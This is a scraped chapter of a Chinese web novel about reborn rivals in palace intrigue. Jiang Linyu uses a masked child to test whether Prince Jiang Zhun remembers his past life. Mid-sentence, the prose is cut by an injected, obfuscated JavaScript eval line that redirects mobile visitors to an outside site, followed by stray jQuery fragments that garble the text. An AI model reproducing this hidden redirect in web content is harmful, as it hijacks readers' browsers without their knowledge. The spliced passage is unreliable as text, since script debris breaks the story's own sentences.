58. 第五十八章

    姜临煜牵着小男孩的手,边往前走边交代:“教你的都记住了吗?”


    男孩名唤凌空,是姜临煜在外征战时捡来的孩子,一直养在军营里,年纪不大,与前世沈绒离世时的姜澄一般大。


    姜临煜腰高腿长,步子也大,凌空迈着小短腿小跑着才勉强跟上他,另一只小手扯着脸上不舒服的□□,奶声奶气的问:“殿下,我们要去干嘛呀?”


    “别乱扯。”姜临煜制止住他的动作,不耐烦的“啧”了一声,“不是告诉你要带你去见一个叔叔了吗?”


    他第一次见到凌空的时候,这小子可不是一般的聪明,反倒是让自己养的,越养越笨了。


    沈绒按照记忆中姜澄的模样,让姜临煜做了个□□,也打听好了今日姜准出宫的时辰。


    姜准究竟是不是和自己一样拥有前世的记忆,一试便知。


    —————


    从宫里出来,姜准习惯性的和往常一样绕远路回去。这条小路偏僻寂静,走到路的尽头时,马车停下,他从车上下来。


    “你们在这里守好了。”姜准整理好衣襟,对手下吩咐道:“不准放任何人进来。”


    “是!”


    眼见着姜准的身影完全消失,姜临煜探出的半个身子也收了回来。


    院门外的脚印错综复杂,想来房内的人应当是不少,姜临煜当即便下定决心要进去看看。


    凌空眨着大眼睛,刚想开口便被身后的文焰捂住了嘴,姜临煜回头示意文焰按照计划带他先走。


    二人离开后,趁着守门的侍卫不注意,姜临煜轻而易举的翻过围墙,落地无声。


    院内杂草无数,轩窗开了一条缝,隐约可见里面晃动的几个身影。


    姜临煜压低身子,悄无声息的走到窗边,透过缝隙朝里看。


    是不少的朝臣围坐在桌前,姜准端坐在正前方,不过大都是什么没有分量的无名小卒,除了姜准左手边的那位,是左相柳华。


    姜临煜皱了皱眉,姜准搞出这般阵仗来是要做什么不言而喻,可就多方情报来看,柳华和右相樊苍术不都是太子的人吗?怎么会转身投奔了庆王?


    不得不说,活了两辈子的姜准口才的确不错,斗志昂扬的一番话,说的姜临煜都要忍不住追随他了。


    这样的人,前世即便是没有利用沈绒控制自己,想必也会是皇位有力的竞争者,安逸了那么久的太子哪里会是他的对手。


    估摸着过了一刻钟,姜准留下了柳华,其余一些人纷纷散去。


    “太子没有怀疑起丞相吧?”姜准抿了口茶。


    柳华神色淡然,“殿下放心,太子如今还不知道太子玺被盗印一事。”


    “那便好,樊苍术那个老狐狸如此精明,丞相可要多加小心。”


    柳华摸着自己的胡子,惆怅道:“不瞒殿下说,老臣识人不清,戚远舟和王璞都只是空有才学而无手段,这二人相继被杀后,老臣在太子那里,地位是远远不如樊苍术了。”


    王璞是王由一的父亲,科举徇私舞弊查询清楚后,他也跟着戚家人被斩首示众。


    这二人从前都是在柳华手下共事的,相当于柳华的左膀右臂,如今他折了臂膀,也难怪太子会更加看重樊苍术了。


    姜准轻笑了几声,“丞相放心,待来日本王大势所成,整个大凉再也不会有两位丞相了。”


    姜临煜离开了院子,赶到会合地点,姜准已经出门,马车即刻便会抵达这里。


    只是他还有一事不明,二人所说的盗印太子玺是因为什么?


    车轱辘的碾压在地上的声音由远及近,姜临煜没去想那么多,再次嘱咐了凌空一句,便将他推了出去。


    其实此时此刻,在姜临煜看来,试不试探已经毫无意义了。


    姜准坐在马车内闭目养神,突然车子一阵急刹,他的身子也跟着前仰,险些碰到了头。


    “发生何事了?”他朝着外面斥了一句。


    “殿下恕罪,前面有一个孩子。”


    “孩子?”姜准捏捏眉心,“把他弄走便是。”


    凌空动作敏捷,身影瘦小,没几下便穿过了侍卫们的阻拦来到车窗下,仰着头带着哭腔喊:“父皇!”


    侍卫们大惊失色,连忙过来捂他的嘴,如此大逆不道的话,若是被有心之人听去,整个庆王府都要完。


    而此时,坐在车内的姜准神色大变。


    “父皇…”他喃喃一句。


    自己已经许久没有听到这个名字了,久到他方才眼前一阵恍惚,又看到了那个活泼好动的小身影从殿外跑进来,扑到他身侧的沈绒怀里。


    那是他的孩子,聪慧伶俐,乖巧懂事,最后却被自己扔出了皇宫。就像年少时,自己被父皇像扔个什么不重要的玩意一样,扔到了他国为质,屈辱求生。


    姜准不受控制的伸出手,掀开马车车帘的那一刻,他看到了噩梦中频频所见的一张稚嫩的脸。


    —————


    “如今看来你的猜想不错,姜准他的确和你一样。”姜临煜盯着眼前的一大一小。


    其实不止是姜准,就连沈绒在方才见到凌空的那一刻都恍惚了一瞬,仿佛澄儿真的又回到了她身边。


    “澄儿…”沈绒艰难吐字,声音是抑制不住的颤抖,眼眶莫名的发热。


    可当她的手触碰到那张冰冷的面具时,顿时像是有一盆冷水从头顶浇了下来,一切回到了现实,她真的再也见不到自己的儿子了。


    年幼的凌空不知道眼前的漂亮姐姐为何会伤心难过,他懵懂的抬头看向姜临煜,在他看来殿下似乎很在意这个女子。


    姜临煜步伐很轻,走到了她身边顺势坐下,目光落在她微微发颤的指尖上。


    沈绒歪头靠在他肩上,喉间像是堵了一块湿布一般难受,“你说,澄儿若是还活着,会不会怪母后没有保护好他?”


    姜临煜握住她发凉的手,指腹轻轻擦过她肌肤细腻的手背,嗓音低沉:“不会的,他只会自责是自己没有保护好母亲。”


    沈绒心里好受一些,也是,她的澄儿那么多懂事,怎么会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16191670|172643||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    怪她呢?


    冬日里的艳阳天十分难得,暖暖的阳光照在身上,沈绒竟有些犯懒。


    过了一会儿,沈绒抬手揉了揉下垂的眼皮,眼睛四周被揉的泛红,像极了那只趴在窝里吃草的兔子,“你方才说姜准背地里笼络大臣?”


    “嗯。”姜临煜看的心痒,想垂首做些什么又想到了凌空还在这里,只得作罢,“还在说盗印太子玺的事,目前还不知他们要对太子做什么,已经让文纵去查了。”


    “不用查了。”沈绒杏眸水滢滢的,闪着精明的光,仿佛一切都在她的掌握之中,“我知道他要做什么。”


    “你知道?”


    “太子有皇后母族曲家的支持,皇帝忌惮,所以他手握的兵权看似只有宫内的这么一点,实际上他早早的便在距离淮安不远处的兖州豢养了一群私兵,万一来日储君之位被废,他也有能力举兵造反。”


    姜临煜听懂了,怪不得她要把沈绵推出去,“前世,姜准也是用这个办法扳倒太子的?”


    沈绒偏偏头,“算是吧,不过上一世真正发现太子秘密的人是你。”


    姜临煜嗤笑一声,“我?”


    他对皇位丝毫不起兴趣,一心只想着为兄嫂报仇,来日谁做皇帝他都不在意,更不会去查太子背地里做了什么。


    当然,除非是姜铭招惹了他。


    “你那时去兖州不知道要做什么,恰好发现了太子的事,不过你并未放在心上。那时庆王攀上了太子,不知从哪里听说了这件事,便暗地里告诉了皇帝。现在想来,你当初或许是去找安宁郡主了吧。”沈绒道:“我本是打算想法子把这个消息透露给庆王的,没想到,他居然同我一样。”


    想到了姜准同是重生之人,沈绒眼底无半分暖意,上天是公平的,不仅让她回来了,还让她前世最大的仇人回来了。


    前世自己被他所杀,今生自己也必会杀了他,一命抵一命,很公平。


    —————


    寒冬腊月,大雪又一连下了许久,沈绒坐在程冬柠的床边,紧紧握住她冰凉的手。


    “三婶。”沈澪连忙端着药过来,让沈绒喂她喝下,“先服药吧。”


    还不等沈绒接过药碗,程冬柠便抬手制止了沈绒的动作,含笑着摇了摇头。


    冬日向来是程冬柠最为痛苦的时候,年年冬日,她全身上下没一块舒坦地。渐渐的,她也能感受到,自己大限将至,估摸着也挺不过这个冬天了。


    “三婶。”


    “绒儿。”程冬柠的目光又看向沈澪,“澪儿,多谢你们这么些日子日日来同我说说话。”


    紧接着,她又看向沈绒,眼中不时闪过了故人的影子,嗓音虚弱的似乎只剩下一口气一般,感叹道:“日后,便再也不会如年年冬日一般痛苦了。”


    此言何意,二人都心知肚明。


    “三婶,您别这么说…”沈澪将碗放在一边,急切道:“澪儿一定会治好您的。”


    闻言,程冬柠摇摇头,招手示意侍女拿来一样东西,“看看吧。”